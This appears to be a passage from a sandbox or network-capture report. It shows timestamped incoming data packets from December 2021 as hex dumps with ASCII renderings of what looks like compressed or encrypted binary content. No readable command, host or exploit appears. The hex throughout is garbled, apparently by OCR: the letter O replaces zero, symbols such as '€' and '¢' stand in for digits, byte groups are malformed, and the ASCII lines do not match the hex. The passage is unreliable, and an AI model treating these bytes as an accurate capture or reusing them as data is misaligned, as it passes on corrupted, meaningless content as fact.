2b 32 53 73 2d 29 6a 2f 41 96 cf 7e de f5 05 4a
Data Ascii: 5GalyDn|JE<3yj)RPoXXyq?{n+3~q[3WXi%ka}VTdJII*HppDXV).8\pGC{&6)P$b6B]/,/*s8V+YWp[FNB:p;
EONG#+KFp+2Ss-)j/A~J

2021-12-03 00:05:28 UTC 122 IN Data Raw: 3e 66 cb b5 66 d4 a4 fb 8c ff 00 0d ad 40 9d 75 Oe 09 45 d8 Oa 58 37 b8 48 20 f1 c5 4e 13 1c 27 36 52 34 82
64 11 5f c6 fb 2c de d2 e2 20 5b 8d cc d2 93 58 7 b2 dc 1c d9 2b 53 34 b3 5f 3b 45 ea 36 9f c2 85 54 a0 65 3d 43 97 45
d4 0a 0d 52 1a 2b 39 6b 36 65 8d 4f a9 55 6a d1 f2 be 72 ca Ob 56 cc ch 94 2b 69 6a a4 a9 ee 84 a5 54 55 32 2a 91 25 41
9c d2 26 b7 92 c4 fd 27 34 19 61 8d 6e 48 3a 4f 18 da ab 23 b1 a0 3a 05 ab 5a 17 43 d5 1d 1d aa d7 74 f7 35 e7 0d 5a cc
1932 15 13 3f d7 e3 ca d3 fc 9f 9b cd 1b 2f ca a0 68 45 63 30 2d 80 a8 34 dc 8 fc €9 f5 1d 22 d6 fa 84 8f e0 6f cf 7e 8b a6
39 e4 42 cc 73 e9 4e cb 8a ec 4c 0f 5d 24 d4 c7 ec d2 ab 73 87 87 8b 86 dc 62 e2 d2 e9 d0 99 22 e0 c4 80 29 43 3b 45 4c
1d 16 ad 53 ab 59 66 b1 58 a0 66 Oa 2d 43 2e €6 1c
Data Ascii: >ff@UEX7H N'6R4d_, [X+S4_;E6Te=CER+9k6eOUjrV+ijTU2*%A& 4anH:0#:ZCt5Z2?/hEc0-4"0~9BsNL]$s
b")C;ELSYfXf-C.

2021-12-03 00:05:28 UTC 124 IN Data Raw: 44 d6 ea 19 86 a6 f4 85 c¢8 7d b2 91 ec d1 9d 52 d3 4d 72 ce 34 a0 cc 76 d8 47 5f 66 8e 11 dc 36 Oc 97 01 f6
53 7b fb d6 eb 3c ce df db ¢7 cb 4d d5 8b 36 41 94 ca 6a 13 65 4a 8¢ f2 24 2e 7c a8 ad 86 40 94 d4 85 b4 cc c9 4f 3f 55 71
2e be f4 c6 d6 e4 a6 e5 04 ba 80 f9 2c 06 da 6d 2a 71 59 ad bb ef bd 94 04 b4 97 1d 4c 76 d6 a9 94 e7 9e 4a Oc {7 76 b6
b6 9a b0 52 62 38 e4 85 2f b9 ee bf 98 15 dc 36 95 ¢8 71 Oa 7e 31 6¢ 3a 00 2b e7 3c 36 b7 el 47 3b 2a 2b 11 le 8a c2 43
32 5b 5a 57 0d 51 96 fb ea 50 dc 80 cb ea 78 98 ce 59 2e 27 ba 53 2f 99 4d 94 ad 2b 69 09 71 be f8 14 17 13 75 67 d4 df
65 87 a5 ba fc 30 da ea 29 Oe 84 32 52 59 42 1c 4a 7b c6 e3 07 5f 9¢ 6e b7 00 50 53 92 7b c4 22 el 29 e7 05 55 61 cd 94
95 ba b4 05 a9 b0 96 c2 94 16 d7 7d fc e5 95 93 bl 40
Data Ascii: DYRMr4vG_f6S{<M6AjeJ$.|@0?Uqg.,m*qYLvIVRb8/6q~1l:+<6G;*+C2[ZWQPXY.'S/IM+iquge0)2RYBJI{_nPS{
"aj@

2021-12-03 00:05:28 UTC 125 IN Data Raw: 31 91 19 6f 44 43 04 45 50 2a 16 06 dc fd 78 1c 11 31 7d 16 ea 6e 7c 7e 76 le 9f 43 04 51 b2 50 00 7 47 24
27 c7 e6 7a9c 16 ed b0 e4 al 9d 49 Oa dd 7e be 1f 1f f6 fO fc f0 52 92 c1 11 db fb e9 8 e0 8a e7 82 4a 5c 49 4f 85 8e df
02 7d 47 42 7c 05 fa 60 86 c6 6d aa fO 4f db af 2d 1c 97 db 4b b4 de 5d 2d al 84 31 aa d5 7a 8c 66 ec 53 76 6b cc c4 ae
05 01 d0 dd c9 ce 72 38 36 f3 be 3d 5c 3f b1 bc 97 95 89 7 bb 9a d6 46 9f 57 f9 6f dO 8b f1 70 7e bf a7 ae 37 65 8f 7d 8
78 €9 49 ee 0a 95 6d c2 a8 4f 04 Ob 3d dc bb b1 7e e8 50 77 61 09 e5 40 a7 92 a2 Oa 88 20 03 e2 40 c5 e6 84 ed c2 3d
50 57 f9 f9 85 d7 7d 37 ed 03 07 44 b5 92 4e b5 d5 28 d4 5a e6 81 6 a6 a2 e4 6a 35 6f 3b 3b 4e fe 3a 9c 8b 99 b2 86 57
95 4e cc 14 69 b0 10 d3 ee 52 73 95 2f 30 3b 21 €9 50
Data Ascii: LoDCEP*x1}n|~vCQPG$'zI~RIIO}GB| mO-K]-1zfSvkr86=\?FWop~7e}xImO=~Pwa@ @=PW}7DN(Zj50;;N:W
NiRs/0;!P
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 126 IN Data Raw: d6 28 53 64 ea 4e 73 ab d7 23 ae 62 e5 42 ca 53 67 b2 d5 1a 9b 01 a5 05 2e 26 5f a5 d3 20 44 a6 d3 29 4d b4
84 32 ed 36 03 Oc 41 79 08 ee d9 8a 5a 45 f1 20 b1 a3 e9 8b 6¢ 7c 7 bd 6e bl 93 b9 f1 5a e7 12 93 2e 64 ff 00 6a 9d 11
b8 71 7b e6 65 3a 86 63 98 a2 42 1b 6d 9d af cb 88 86 1d 05 91 1c 36 €3 ae 21 25 6e ff 00 29 d7 9b 52 96 15 8¢ 58 5¢ 7e
f1 1e 13 e5 d3 cd 5d af a7 d5 43 de dd c2 6e fc 15 41 6d c2 d2 51 3b f9 82 4b 33 89 0a 67 ba 70 b4 88 8 5a 8c 76 5d 53
e8 2c ba ca a2 2f ba d8 95 14 21 08 56 d2 6¢ b4 51 ea 48 0d b0 59 79 Oc b4 22 2f db 12 eb 4a 86 cc 36 5¢ 70 86 23 47 0f
f7 ad al c9 Oa 1e ec 84 27 bd 4a 46 d5 ec 1c e3 9d 14 29 79 98 ae 30 a6 93 Ob 7c 25 22 63 09 a8 33 09 f8 d5 07 50 4b dd
€3 8d 12 a6 e4 2e 63 Oe 39 ff 00 4a fb Oc 41 29 65 2a 43
Data Ascii: (SdNs#bBSg.& D)M26AyZE I|nZ.djg{e:cBm6!%n)RX\~]CnAmMQ;K3gpZv]S,/!'VIQHYY"/J6\p#G'IF)y0|%"
c3PK.c9JA)e*C

2021-12-03 00:05:28 UTC 128 IN Data Raw: 2f 71 d7 8f e9 8c 5d f7 1e 9a 70 45 22 df 4f 9f ec 31 54 4e 10 85 dc 28 Oe 84 73 71 fd 7c b0 44 ed 22 f6 07 af 8f
e1 82 27 6d de f6 26 f6 07 d3 c7 cb 04 4a f4 c1 13 a6 d0 85 2b 75 c¢7 03 f4 1f df a7 fb 12 27 29 4e eb 5¢ d8 00 7c b9 3d 7e
bf 73 82 2a a0 8b 5a fc df 04 4e 93 f7 46 08 8d 82 25 1b f1 f9 7e f8 22 53 04 43 04 54 22 €2 d8 22 a0 4a 47 36 e7 cf 04 47
09 2a e8 2f 82 2d 7e 22 dc 1c 11 Oc 41 00 dd 10 c6 08 86 08 99 bd 62 a3 e5 61 f9 60 8a 3d f4 8d b7 3d 46 dO 39 f8 03 71
8 e0 b6 69 04 Oe 41 43 b8 94 91 c8 e7 8b 72 7e bc f0 56 4c fO 44 64 1b 28 1b 5e c7 a6 08 ae 08 ce 12 07 bb d4 5b c7 a8
8 1b f9 74 3e 98 20 b9 9a 0d 29 df 05 e2 a3 ed 8d cb ff 00 el 6f b4 1b 52 9f 4b 3d cb 19 b7 2a e4 6¢ ce dd ec 3b d7 24 53
9e a6 3e ea 2d c5 d2 69 c8 Ob 3c 93 bf 93
Data Ascii: /q]pE"O1TN(sq|D"'m&J+u’)N\|=~s*ZNF%~"SCT""IG6G*/-~"Aba ==F9qiACr~VLDd("[t> JoRK=*|;$S>-i<

2021-12-03 00:05:28 UTC 129 IN Data Raw: 8b 69 c6 37 al b2 eb 8d 46 47 b2 46 40 05 6a 40 dd 8c ce 2c 88 c8 ea d2 7b 0a 24 ee 7c 54 74 8a a8 8d Oe 3b
8c 88 ad 3d b1 e7 d5 22 13 2d 32 f9 6d 52 c1 58 5b ca dc a4 34 87 42 9a 84 fe e5 17 5a 5d 96 82 3a 55 00 27 f4 a3 95 3a
52 1le 72 9f 29 0a a8 21 69 90 eb 4a f6 88 ea 5¢c 44 c8 42 1e 71 e7 dd 8a e3 06 53 72 63 7f 2d c4 4c 7d c6 99 28 05 a6 7b
c2 1389 20 8b ad 32 0d ca 85 9c fa 92 ¢1 00 a9 6d a2 42 1d df dd ad 2f 3c 96 90 c9 3d db 4f 2d 2d 6f 65 b5 00 d2 d4 cf 78
e6 ch alc4 1e 08 02 66 2f b7 ad f6 a7 61 5d 5b ef 2d 13 a4 3e fb bd e4 9b dd c9 53 65 be 87 1e 75 bd 8d 17 56 22 77 cb
52 51 15 95 2f fe ca 77 2e ca 56 d2 80 Oe 30 2d 74 9a 4f 1a 22 87 ab c1 71 b0 cb 12 5a 66 43 d1 43 6e 46 98 80 fO 66 28
61 e2 a2 95 34 54 eb 81 a9 01 4a 5b 7b 9c 6b b8 3b 5e
Data Ascii: i7TFGF@j@ {$|Tt;="-2mRX[4BZ]:U":Rr)!iJ\DBqSrc-L}({ 2mB/<=0--oexf/a][->SeuV"wRQ/w.VO0-tO"qZfCCnFf(a4T
Jfkn

2021-12-03 00:05:28 UTC 130 IN Data Raw: dc 6b 48 a9 3c f9 7a ab a2 32 ad c6 eb db a9 €7 9b 10 09 b1l e7 ad f8 fO fc 31 89 al 34 8a 9a 6¢ ae ae 68 cb 4e
c0 9b f4 48 37 27 ad ed f5 €9 f3 ¢5 1e d1 19 87 09 bf 86 b6 df 5a dd 14 ab 4a 49 4d 81 bf fb 01 8¢ 74 93 43 b5 {7 ef aa 29
16 8d d3 el 7b f8 7c b0 44 e1 03 a9 2 €9 f9 e0 89 c3 62 ea b0 2 fe 98 22 54 58 a8 Ob ff 00 5e 97 c1 13 a6 92 00 36 f3 fe
98 22 57 c4 0f 13 d3 04 4b 25 02 e2 fc f2 39 fc 30 44 eb 04 43 04 4b a4 dc 03 ¢5 fd 3d 30 45 5¢ 11 Oc 11 Oc 11 54 02 78
1c e0 89 74 27 68 b8 50 04 8e 6e 47 f4 c1 16 bf 29 bf 13 c7 af 5f df 04 45 08 1e 26 ff 00 95 bf 3f 1f db 15 71 23 ed 04 9e
la 7b 22 ae d4 f9 7e 67 fa €3 14 55 20 5a d6 b8 f2 fa 23 04 4c 9f 1e 00 7e 3d 47 89 e7 4 f4 38 20 13 40 a2 df 17 24 5c Of
13 7f 40 3e 5f 5¢ 60 92 1a 6e 01 la 15 Oa
Data Ascii: kH<z214lhNH7'ZJIMtC){|Db"TX"6"WK%90DCK=0E\Txt'hPnG)_E&?q#{"~gU Z#L~=G8 @$\@>_\'n

2021-12-03 00:05:28 UTC 131 IN Data Raw: af d9 fb b6 06 d4 21 c4 2d a2 a2 ce d7 50 b4 ba 87 1c 48 5d 9b 52 12 50 Oe fO 71 a3 43 6a 5c 40 8b 4e fc b5 fe
ab b2 e7 78 fe ab 5e 68 4b f1 82 4b 6d c9 66 3b 91 9a 42 56 d4 a8 el a0 36 b6 94 c6 12 99 70 bd 21 Ob ee dc 6¢ 20 9e f1
d0 3b 91 6b 8c 66 c2 4c 66 19 67 c6 3a db c7 a5 16 a9 ac d4 b8 fa a6 a5 48 5a e7 25 48 33 df 94 d4 79 9e c9 25 05 45 Ob
61 74 c2 94 86 64 38 14 0a 11 14 3c a7 54 b2 a4 80 d9 c4 3d d9 2d 5a f7 aa 90 09 39 47 dd b6 aa da 7a 51 0a 70 0d f1 da
9b ec 8c 28 05 a6 54 9e ec c7 09 97 21 ¢6 16 f7 b6 21 2e 9e ed c4 24 ba 37 80 b6 50 da 5b 4a 91 8a 7c ¢7 0d bc 3f 69 90
cd ab 65 09 21 b9 8a 6d 8a 85 43 fe ad 0d ba 1b 90 87 22 a0 16 9e 45 9b 43 49 76 02 d7 11 f8 6d 29 a6 5b Ob 90 eb 92
82 5c 21 6d 02 ad c2 97 f7 5b 06 86 da b3 5d 0f 42 3b f6
Data Ascii: I-PHIRPqC)\@Nx"hKKmf;BV6p!| ;kfLfg:HZ%H3y%Eatd8<T=-Z9GzQp(T!!.$7P[J|?ie!mC"ECIvm)\'m[]B;

2021-12-03 00:05:28 UTC 133 IN Data Raw: af ¢3 76 56 5d cc 10 d2 b4 aa 65 2a a5 25 17 ef 52 ¢2 d3 6¢ d9 49 22 37 99 a4 5f f1 b2 a8 63 9a el 99 a4 5e e3
82 d0 dc a3 98 ff 00 c4 14 c4 4a 7e 9d 2a 8b 56 85 2a 5d 1f 32 e5 e9 a0 7b 76 58 cd 14 a7 95 Oa bf 97 a6 ae f6 71 c8 13
50 13 19 d0 3b b9 90 95 1e a2 cb 8e 31 31 ab 41 99 98 89 af 8d 57 4b 5e d3 00 38 4c 0a 4a c8 51 9c 02 d6 bf 22 dd 7c 07
88 f0 e3 3 f8 f8 51 d5 69 1c bd 55 d4 e3 Ob 4d ec 90 4f e7 c7 fb df cf {7 c6 44 65 fb a0 4d a4 dd 14 a3 4a 45 c0 02 c4 df c£
ff 00 b7 87 d7 4c 42 27 88 1d 4f 9f 4f cf 04 4e 1b 36 55 fd Oe 08 94 1c 28 28 75 1f 87 4b 74 c1 13 d4 74 9 fe c3 04 47 f1 07
c4 74 c1 13 al 6f 73 ce fc fe 3¢ 60 89 6¢ 11 2¢ d5 81 f7 85 c1 f5 b7 d7 8e 08 9c ed 48 e8 07 eb 82 22 a9 3c 70 05 ef e8 30
45 44 a3 9f 78 71 6f 3f 1f 96 08 8d bl
Data Ascii: VW]e*%RII"7_c~*V*2{vXqP;11AWK"8LIQ"|QIUMODeMJIELB'OONBU((uKttGtos<'l,H"<pOEDxq0?

2021-12-03 00:05:28 UTC 134 IN Data Raw: e3 81 Oe c4 Oe a5 89 05 89 48 38 d9 a3 €9 1d 7 dc c1 a2 9f 3f 5e cf f5 46 3d 43 9c cb 8a 79 85 26 0d 20 c6 Oa
1e d0 87 9d 7a 52 3b d5 al a6 a4 hc ec f9 Of 2d a5 b8 ea 19 54 d9 f3 da 60 95 21 b7 a2 ba 53 b0 b1 eb 86 22 b0 2b 1a 52
bc a1 20 9d 3¢ 07 el Oc ¢5 1d 85 ff 00 12 4a 80 2f 2e 3d 3a 42 18 90 e4 ¢3 11 €0 fc 67 1a 62 75 21 96 a3 86 d0 98 6b 71
4d 48 b4 87 1c 05 Oe bc 5a 64 05 b4 9e 5¢ 2a 8a 6a 69 df €9 32 9d 8a b6 a7 3e a8 11 22 ca 79 99 4f 37 51 6¢ 85 5¢ 25 7e
¢9 1d ce 1c 63 72 3b 94 3¢ 1d 27 da 1b 79 b7 11 dd 21 a5 25 d0 9b 94 9d b2 1d c7 7d 15 d9 42 66 93 17 al e8 a3 13 69
4879 2f 87 25 14 b4 13 dO ca 13 dc 4b 8¢ 92 b8 eb 25 75 17 97 ff 00 4e 95 2c 2d 6d a7 da 83 4d 87 da 24 3a ca 8a 71 58
22 €0 ad 13 0a d4 df e1 c9 65 70 fb e6 1f 2¢ cd 0d 55 91
Data Ascii: H8?AF=Cy& zR;-T'IS"+R <J/.=:BgbulkqMHZd\%ji2>"yO7QN\%6~cr;<'y1%6}BfiHy/%K%uN,-mMs$:qX"ep,U

2021-12-03 00:05:28 UTC 135 IN Data Raw: 51 e0 92 2e 40 f3 06 dc 78 8f 1e 31 ab 5d 34 37 d3 8e ea 60 4d e4 6f 08 c5 04 df dd 09 36 22 O 00 0a 89 b6 eb
7f af 9e Of 43 72 7c 41 17 a6 84 1e 4a Ob 4b e8 44 ce dc bc 2d a7 ba e7 b7 6a Oc 84 74 {7 39 35 ad f4 88 e8 6f 27 67 43
48 cb 5a be cb 0d 77 6d d1 f3 23 2e 7f 0d c9 7a 9f 28 a0 85 22 3a 90 b6 2 86 6 94 a6 d4 Oc 35 65 fa 94 87 12 c5 25 d5
€2 5a 04 c1 34 a9 1c 2d 4d bf 54 d1 61 12 ¢3 71 34 10 78 52 3b 88 d0 ab 3a 3a b6 a4 b7 b8 15 36 a2 82 41 49 fb a6 c6 16
b8 e4 f3 7f 22 2d c1 c0 88 24 71 2b a0 90 49 20 83 c9 4f 44 3b 46 e2 49 23 a0 f3 f5 b5 af d3 cb ¢3 10 58 1e Oc ff 00 88 a4
f1 ef b9 50 a5 9a 72 5 2a 20 9 9e 38 1d 7e 78 e7 45 2¢ 85 02 00 7 ¢7 7 c1 12 e8 eb f2 fd c6 08 96 48 b9 03 04 4f 11 d3
e7 b Oc 11 28 38 20 fa €0 89 74 1d c4 10 Of 5f
Data Ascii: Q.@x1]47 M06"Cr|AJKD-jt950'gCHZWM#.z(":05%Z4-MTag4xR;::6AI"-$q+ OD;FI#XPr* 8~xE,HO(8 t_

2021-12-03 00:05:28 UTC 136 IN Data Raw: Ob 91 18 44 91 Oe 9c fa 64 24 47 7d ee f6 1b 6f bd 0d ae fd b8 de de d2 bb c8 f1 dc 6e Oc 27 €3 05 c9 08 71 e2
87 0a 56 a8 ch de e3 8a a3 1a 58 44 Ob 1e 63 6e 5¢ 11 5b cb 4a 5f 31 64 c2 8a e4 96 a3 4e a8 d3 a9 a2 23 10 de 95 30
a2 30 7d 86 df 82 6f 16 3c 08 2a 4b 89 8e el 2e 2e 4c 45 3c 5f 88 b4 a5 c5 e3 7f e7 b7 7c 78 ac 88 39 bc 2b 1c ab d1 21
2994 c2 42 e7 2198 ad 09 88 73 bd 72 24 96 fb c6 92 c4 64 87 54 e3 0a 79 ¢7 18 71 2f 16 94 22 98 ad 95 3a a0 da 14 5a
6ac9 a6 25 00 ad 67 b3 bf 63 75 aa b4 27 86 16 5f 54 85 37 31 €6 9b b3 89 76 3b 4d 95 38 d3 ca 51 40 79 dd ee 16 1c 66
¢8 53 09 5a 92 d3 8a ef 4a 02 ac ac 64 59 9e e2 75 d3 de 97 5b b5 al 96 el bl ef aa b6 a7 7b 57 f3 98 52 25 08 12 fb ad
c9 42 da 6d 45 a0 d9 57 74 ad c8 16 43 1c b6 e2 4a 4a 7b
Data Ascii: Dd$G}on'qVXDcn\[J_1dN#00}o<*K..LE<_[x9+!)B!sr$dTyq/":Zj%gcu'_T71v;M8Q@yfSZJIdYu[{WR%BmMEWCJIJ}{

2021-12-03 00:05:28 UTC 138 IN Data Raw: 72 a5 42 4d 5a 1¢ 96 12 d3 b0 73 05 11 52 1d a7 ce 88 65 c2 71 d8 f2 5b 4c 81 2a 33 ad b7 2c c5 Oe 74 52 41
8169 13 22 96 3c f8 2c dc d0 e2 49 24 66 32 6b 3a eb 43 dd b4 5¢ f4 8b 42 ad e9 ae 6a af €9 16 68 91 2a 64 ec a4 86 a6
64 fa e4 b2 b7 1le ce 3a 6b 2d e5 bl 97 ab af 3a e8 ba ea 94 25 34 e6 58 cc c9 de b9 1f c4 al 47 a9 3a 84 b5 57 64 1e b6
86 b8 03 ef d7 4f 65 4c¢ 31 Oe c4 13 5¢ dd 63 4f 05 7c 43 76 fd 6f c5 80 9 f4 f8 f1 d3 cO f5 1c 1c 54 dc c5 38 57 be 3e 0b 58
3f bd 3c 54 f3 4b 49 f3 e6 df 5f d3 1c dO 76 3e 08 a5 5a 50 b0 23 c2 ff 00 5d 31 08 9e 34 77 1b db a8 3c 75 f1 c1 12 e0 d8
8b 0b fa 60 89 e2 3a 1f 8f ec 30 ee 35 f0 44 a2 45 c8 1d 79 18 22 76 d8 1c 91 c7 85 87 4f Oc 11 29 82 27 28 50 b8 2a b8
07 a8 fe bf 2e 9e b6 c5 da c9 99 a4 5a 69 eb 74
Data Ascii: rBMZsReq[L*3,tRAI"<,I$f2k:C\Bjh*dd:k-:%4XG:WdOeL1\cO|CvoT8W>X?<TKI_v>ZP#]14w<u":05DEy"vO
)'(P*.Zit
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 139 IN Data Raw: 5a 5b 08 68 c9 99 29 97 1a 5a 98 62 7b d2 64 a4 c7 32 15 23 fe 96 73 54 9f 68 8c ea 16 b2 7f 85 25 3d eb eb
69 a6 4b 4e ad c5 20 ad 57 6b cb 69 5d 38 46 b4 ef d5 15 bd 53 6d e7 58 78 27 dc 5b 4f aa 32 90 ca d5 1a 1b 4c 20 36 fc
88 6d 21 f3 22 2a 2 0a 56 9a 8a 41 90 e0 1d db 2f 25 b2 5d 54 39 c5 c7 c7 be fa 22 8e 94 96 d6 57 15 0 86 5¢ 54 26 23
bc 5d 6¢ 06 91 4f 71 b6 de 16 58 60 ca 05 4e b7 2d 5e d2 e2 9d 93 de 3e f9 65 0d b7 b0 84 1a a2 b5 66 c2 26 74 b8 aa 95
4d Oc b8 fb fe ¢4 dc 69 0d cc 61 d2 ca 94 c2 54 67 24 25 Oa 66 4e c5 bb ed 08 70 20 28 a3 7a ¢8 07 13 04 d8 15 d1 e7 c5
5913 02 82 9¢ 8e db 3b dd 79 cO ea 5a 4a c8 72 22 1b 49 6d b3 bd c0 5c 7a 31 4a 88 43 69 52 c0 47 55 1e 06 39 91 5b
13 d4 9 5a 5e 90 2 64 2d 94 58 34 d9 25 28 45 ec 17 b1 61
Data Ascii: Z[h)Zb{d2#sTh%=iKN Wki]8FSmXx'[O2L 6m!"* VA/%]T9"W\T&#]I0qX N-">ef&tMiaTg$%fNp (zY:yZJr"
Im\z1JCIRGU9[Z/d-X4%(Ea

2021-12-03 00:05:28 UTC 140 IN Data Raw: 14 a9 2c 44 67 7b ef 14 90 db 6a e7 11 3d ff 00 3c b7 57 6b 66 f4 ee bd fe 16 a8 d3 fb 55 53 75 le bl 40 a3 68
3e 44 ce 5a bl 49 7f 57 75 2f 43 35 43 3d d2 al bl 42 a3 76 7a cf 1a 7f 44 aa 4b 35 2d 49 ca d9 c6 6e 5b cd 15 ac a3 52
af 41 87 41 8d 3f 25 42 ac bf 25 ca ¢5 26 a3 19 06 89 31 ca ac 5¢ b3 bb 86 ba Oe €9 0a f9 1a b5 47 53 64 d1 a4 69 f5 59
ae dc fa 92 f6 b6 55 a2 €8 96 5d ec fb db 1b bl 9f 66 7c 9f 50 d4 8d 20 ae 3b af d9 f2 97 43 ca 5a cf 51 d2 36 e9 d9 93 5d
72 7d 39 14 f4 4e 65 fa a2 f3 43 94 2a 66 4f a9 66 39 d9 83 f8 ba 32 d4 3a e5 3a 33 3b 52 0f 41 ae df 85 9d 8c Oe 3c 0f b6
c0 c6 fd 42 d8 39 13 b5 9b 29 af fc 43 56 5e 99 6 65 d1 dd 03 d4 2a e9 cd c2 a8 94 ea cd 47 5e fb 24 e4 bd 35 92 cd 02
bb 16 b6 c4 9a 26 6c d2 9c cd 97 2b 32 el d4 66
Data Ascii: ,Dg{j=<WkfUSu@h>DZIWu/C5C=BvzDK5-IN[RAA?%B%&1\GSdiYU]f|P ;CZQ6]r}9NeC*fOf92::3;RA<BI)CV"
e*G $5&I+2f

2021-12-03 00:05:28 UTC 141 IN Data Raw: ae c6 aa 42 ab 46 52 48 d4 cd 54 6f a4 40 e3 3d cd 24 2b a7 55 e8 59 67 b4 7e 8e e4 6d 6e d0 fa fd Ob 3c cc
63 2e c1 d4 dd 1a cd 79 72 a4 dc cc bf a8 b9 2f 35 52 18 aa 2e 95 12 ab 15 45 8a 96 59 d4 Oc b6 eb 0f 52 26 85 39 15 aa
a9 a3 d5 99 05 51 93 bb b3 05 f5 1e 62 bd 63 c6 79 09 d1 64 f6 45 77 3d f2 83 42 0d 6a b5 8b 2d 57 a9 b9 8a 8b 4b af d3
5c 71 70 aa ac 26 53 28 7d be e6 64 65 82 a6 a4 c0 a8 46 37 5¢c 7a 8c 09 69 76 Oc f8 ce 04 bd 16 5b Oe b2 ea 10 bl 6¢ 6e
6a 49 ef 41 fb 46 62 17 7d 24 1a 48 9d 29 d6 2d b7 ed 5d ec be 95 a8 10 45 81 e4 78 fa 5b 2 f3 €3 14 74 96 91 cb 7d 3b
fe 55 68 44 29 96 16 92 6d 7e bf db 18 22 93 61 76 23 c4 74 bf c4 e0 89 ea 12 9d ca 21 5f 23 d4 fO 3e bf 4b €0 89 cb 7d
2d e0 55 d3 f0 c6 8d 64 b4 ba 6a 39 79 dc fe 51 3a da 01
Data Ascii: BFRHTo@=$+UYg~mn<c.yr/5R.EYR&9QbcydEw=Bj-WK\qp&S(}deF7\ziv[InjIAFb}$H)-]Ex[t};UhD)m~"av#
tl_#>K}-Udj9yQ:

2021-12-03 00:05:28 UTC 142 IN Data Raw: 21 47 61 31 a3 5e a4 b6 ca fd 95 d3 2d 6a 43 d3 64 c6 7a 6a 6a 2b 9b 2f dd 54 a6 le 75 89 8b 54 7f 67 53 6b
77 7e 06 c7 91 44 d2 53 52 62 30 e8 7e 54 e9 4f c0 65 ca 8¢ d7 44 d5 bc 8a 7d 3d a5 ¢3 8¢ 13 1a 3a 4a 18 41 62 44 e4 89
1f c4 4b 71 e2 3a c3 8d 33 15 4c b4 5d 6f 9c 50 83 b2 2b 6d d9 4e cd 76 7c 65 b2 fa 90 b7 bf 9d 25 c7 al b3 16 62 d7 28
385b 96 f9 2a f6 €5 25 d8 f1 cb 2d 25 57 44 a6 db 2d 84 6d be 3a 3c fd d1 59 53 47 7a f3 af a2 2b 8a 98 b0 52 ec 99 11
5088 c8 5a d8 0d ad b3 1d c5 77 6d b8 84 82 7b c0 36 38 da 15 61 bc df 15 7b f2 7a 50 f1 fc ad 19 89 ff 00 b7 34 bc 47 5e
f9 ab 7e 63 ad 47 64 ba 10 97 03 93 1d 5b 8a 61 80 d4 26 95 20 92 96 18 dc 92 a6 b6 de c4 2c a9 b0 45 80 17 03 19 1d
7c 7b ef a2 d1 59 b3 el af 72 dd 71 61 a4 80 85 20 ef 04
Data Ascii: |Gal”-jCdzjj+/TuTgSkw~DSRbO~TOeD}=:JAbDKq:3L]oP+mNv|e%b(8[*%-%WD-m:<Y SGz+RPZwm
{68a{zP4G"~cGd[a& ,E[{Yrga

2021-12-03 00:05:28 UTC 143 IN Data Raw: 99 ea f1 a0 c0 cb 79 6a b5 9c 2b 0Oc b0 db f5 3a f2 32 d6 5d 8e e4 9a c5 4e 16 5d a6 b7 2a bb 51 6a 1a 10 42
d3 4e a6 cc 79 6f 6d 8e d2 14 f2 db 42 a0 9d af b7 bf 91 a4 8d 78 2b b5 b9 bb ef 45 a9 55 6d 7a d6 5d 79 cb 39 8e 37 63
bc a9 45 8d 4f ce dd 9d 72 7e b3 76 6d ed 77 a9 10 23 e6 be ce 39 cb 30 67 19 f2 84 4c 99 5b c¢9 39 7f 33 e5 cd 55 6e 74
1a 23 30 2b 93 4b 90 29 50 64 53 2b 91 57 4f aa 3b 3e 14 d8 71 ea 7 99 d7 8f b5 66 7c 5 56 63 32 8e fb fc 68 b0 e5 77 ff
00 d3 8e a5 67 Oa 7c 3c fd 9a 33 4f 6¢ 4a 36 ba 76 85 a0 53 72 ae 55 a2 c2 5e ad 76 7b ec bb da ab b2 dd 05 f9 d3 el b3
9b b2 7d 2e 4c fd Oe 30 f3 de 4b 7d 4e bf 9d aa Ob 55 33 50 a2 26 96 95 c2 ac d4 5a a6 c9 cc bb €9 d2 06 a3 5a db c7 7e
aae9e6 a5 e6 0c fb 3b 49 11 a8 fd b7 75 1f 25 76 4e
Data Ascii: yj+:2]N]*QjBNyomBx+EUmz]y97cEOr~vmw#90gL[93Unt#0+K)PdS+WO;>qf|Vc2hwg|<301J6vSrUv{}.LOK}
NU3P&ZZ~;lu%vN

2021-12-03 00:05:28 UTC 144 IN Data Raw: a4 94 72 a5 2d c5 af 9d 9b dc e4 a9 3b 8e e0 b2 39 29 €8 92 54 12 a2 90 8b 5¢ 61 bc ce 6¢ c0 44 de fc 35 5a
7c b7 96 cb 2f a8 el 1a ff 00 13 c4 2a c8 50 42 1c 09 b8 05 47 de dc 6f cd 8f el c7 8f 4c 66 44 18 3d fe 15 4b 4b 68 el 5a
47 e6 13 d4 59 48 21 28 52 45 87 78 a0 a5 Ob 01 d4 fa Ob 7c bc 31 0a 14 e7 66 99 Of 31 Ob 53 58 69 68 5f 71 9b 94 db ec
cc 7d 4d b4 e4 59 11 a3 3a 85 7b 31 5b 51 67 26 2a d2 eb cf c4 a8 3a b8 ef 24 a5 Oe 20 8d 83 1d 7f Ob 73 cf d9 72 7c 4d
87 21 b6 fd 7 Ob 64 2a 6f 45 97 10 al f7 90 c4 64 b8 96 ca d2 d3 8d c6 97 1a 52 56 d0 5b 2e al e6 da 6e 2b 43 ba 90 d2
1b 8e fb d3 1e 51 61 4e b4 96 77 Oe d3 97 fc be dd 4e dd fe el 60 c3 88 20 d7 2f 1b 47 7f d4 e9 b7 e7 d4 54 e3 71 el c4
76 al 52 79 e6 df 44 44 a9 35 4f 65 75 6d 04 2e 43 Oe
Data Ascii: r-;9)T\alD5Z|/*PBGoLfD=KKhZG YH!(REx|1f1SXih_g}MY:{1[Qg&*:$ sr|M!d*0EdRV[.n+CQaNwWN" /GTqv
RyDD50eum.C

2021-12-03 00:05:28 UTC 146 IN Data Raw: 71 e6 3b eb c1 7c d7 c5 61 e5 76 68 bb ba fb 69 1a 59 74 bb 21 57 1c 61 d8 a5 2b 28 Oa ee ¢8 50 20 6d 1b 7
58 5f c2 c2 dd 7a 13 e6 71 d9 00 d1 d6 f7 5c 8b ab 9a 3f 9¢ 55 9d 72 ac 78 ac ab bd cc b9 4c aa 6d 29 4f 28 25 73 23 81
b6 4c 15 8e 49 6d c6 92 b0 94 83 61 64 1f 4c 62 41 61 cd fe 24 65 22 94 99 02 fc 48 16 d7 58 57 6b 73 98 a9 31 3e 1f a5
